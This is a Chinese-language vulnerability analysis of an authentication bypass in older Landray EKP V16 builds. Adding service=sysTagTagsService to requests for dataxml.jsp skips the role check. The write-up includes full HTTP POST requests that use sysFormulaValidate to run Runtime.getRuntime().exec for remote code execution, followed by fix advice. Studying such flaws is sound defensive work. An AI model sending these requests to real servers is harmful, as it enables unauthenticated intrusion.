蓝凌EKP V16老版本 bypass dataxml.jsp Auth
字数 1303 2025-08-22 22:47:39

蓝凌EKP V16老版本dataxml.jsp认证绕过漏洞分析

漏洞概述

蓝凌EKP V16老版本中存在一个认证绕过漏洞,攻击者可通过特定方式绕过/sys/common/dataxml.jsp的权限验证,进而执行任意JavaScript代码,最终导致远程代码执行(RCE)。

漏洞背景

蓝凌EKP早期版本中,直接请求/sys/common/dataxml.jsp可执行任意JS代码。在后续修复版本中,该路径增加了认证限制,直接访问会302跳转到登录界面。但通过分析权限处理逻辑,可添加特定参数绕过认证。

漏洞分析

权限处理机制

蓝凌EKP的权限处理逻辑主要在springSecurityFilterChain中配置:

<sec:filter-chain pattern="/**" filters="securityContextPersistenceFilter, baseAppConfigFilter, sysLogOperFilter, concurrentSessionFilter, logoutFilter, kmssProcessingFilterProxy, exceptionTranslationFilter, filterInvocationInterceptor, webContentCacheFilter, checkIfTrustSiteUnknownRefererFilter, sysDatamngPointFilter"/>

关键拦截器是filterInvocationInterceptor,它配置了一个filterInvocationDefinitionSource,实现了匿名访问和权限控制。

权限验证逻辑

权限验证的核心方法getAttributes主要逻辑:

  1. 获取请求URL
  2. 处理/moduleindex开头的特殊路径
  3. 对于其他路径:
    • 检查是否匹配nonAnonymousPaths(需要认证的路径)
    • 检查是否匹配anonymousPaths(可匿名访问的路径)
    • 调用validateCore.checkAuthentication进行最终验证

模块加载与验证

loadAuthValidator方法负责根据URL加载模块验证规则:

  1. 从请求URL提取模块路径
  2. 对于数据URI(包含-的路径)有特殊处理
  3. design.xml配置文件中加载模块验证规则

关键配置分析

design.xml中有以下关键配置:

<module urlPrefix="/sys/common/" messageKey="common.moduleName" defaultValidator="roleValidator(role=SYSROLE_USER;SYSROLE_SYSADMIN;SYSROLE_SECURITY;SYSROLE_AUDITOR)">
</module>

<module urlPrefix="/sys/common/">
    <request path="dataxml.jsp*">
        <query validator="true" queryString="service=sysTagTagsService" />
    </request>
</module>

关键点:

  1. /sys/common/路径默认需要特定角色权限
  2. dataxml.jsp路径有特殊配置:当请求参数包含service=sysTagTagsService时,validator="true"会覆盖默认配置,允许未授权访问

漏洞利用

直接访问(被拦截)

直接访问/sys/common/dataxml.jsp会被重定向到登录页面:

POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");

绕过认证(成功利用)

添加service=sysTagTagsService参数可绕过认证:

POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");&service=sysTagTagsService

利用sysFormulaValidate可执行任意JavaScript代码,通过Runtime.getRuntime().exec()实现命令执行。

修复建议

  1. 移除dataxml.jsp的特殊配置,确保其遵循默认权限验证
  2. 更新到最新版本,官方已修复此漏洞
  3. sysFormulaValidate等敏感功能增加严格的权限控制
  4. 限制JavaScript执行能力,特别是禁止直接调用系统命令

总结

该漏洞利用了两个关键点:

  1. 配置覆盖:validator="true"覆盖了默认的角色验证
  2. 参数控制:通过service=sysTagTagsService参数触发特殊验证逻辑

攻击者利用此漏洞可在未授权情况下执行系统命令,危害极大。建议用户及时升级或采取临时防护措施。

蓝凌EKP V16老版本dataxml.jsp认证绕过漏洞分析 漏洞概述 蓝凌EKP V16老版本中存在一个认证绕过漏洞,攻击者可通过特定方式绕过 /sys/common/dataxml.jsp 的权限验证,进而执行任意JavaScript代码,最终导致远程代码执行(RCE)。 漏洞背景 蓝凌EKP早期版本中,直接请求 /sys/common/dataxml.jsp 可执行任意JS代码。在后续修复版本中,该路径增加了认证限制,直接访问会302跳转到登录界面。但通过分析权限处理逻辑,可添加特定参数绕过认证。 漏洞分析 权限处理机制 蓝凌EKP的权限处理逻辑主要在 springSecurityFilterChain 中配置: 关键拦截器是 filterInvocationInterceptor ,它配置了一个 filterInvocationDefinitionSource ,实现了匿名访问和权限控制。 权限验证逻辑 权限验证的核心方法 getAttributes 主要逻辑: 获取请求URL 处理 /moduleindex 开头的特殊路径 对于其他路径: 检查是否匹配 nonAnonymousPaths (需要认证的路径) 检查是否匹配 anonymousPaths (可匿名访问的路径) 调用 validateCore.checkAuthentication 进行最终验证 模块加载与验证 loadAuthValidator 方法负责根据URL加载模块验证规则: 从请求URL提取模块路径 对于数据URI(包含 - 的路径)有特殊处理 从 design.xml 配置文件中加载模块验证规则 关键配置分析 在 design.xml 中有以下关键配置: 关键点: /sys/common/ 路径默认需要特定角色权限 但 dataxml.jsp 路径有特殊配置:当请求参数包含 service=sysTagTagsService 时, validator="true" 会覆盖默认配置,允许未授权访问 漏洞利用 直接访问(被拦截) 直接访问 /sys/common/dataxml.jsp 会被重定向到登录页面: 绕过认证(成功利用) 添加 service=sysTagTagsService 参数可绕过认证: 利用 sysFormulaValidate 可执行任意JavaScript代码,通过 Runtime.getRuntime().exec() 实现命令执行。 修复建议 移除 dataxml.jsp 的特殊配置,确保其遵循默认权限验证 更新到最新版本,官方已修复此漏洞 对 sysFormulaValidate 等敏感功能增加严格的权限控制 限制JavaScript执行能力,特别是禁止直接调用系统命令 总结 该漏洞利用了两个关键点: 配置覆盖: validator="true" 覆盖了默认的角色验证 参数控制:通过 service=sysTagTagsService 参数触发特殊验证逻辑 攻击者利用此漏洞可在未授权情况下执行系统命令,危害极大。建议用户及时升级或采取临时防护措施。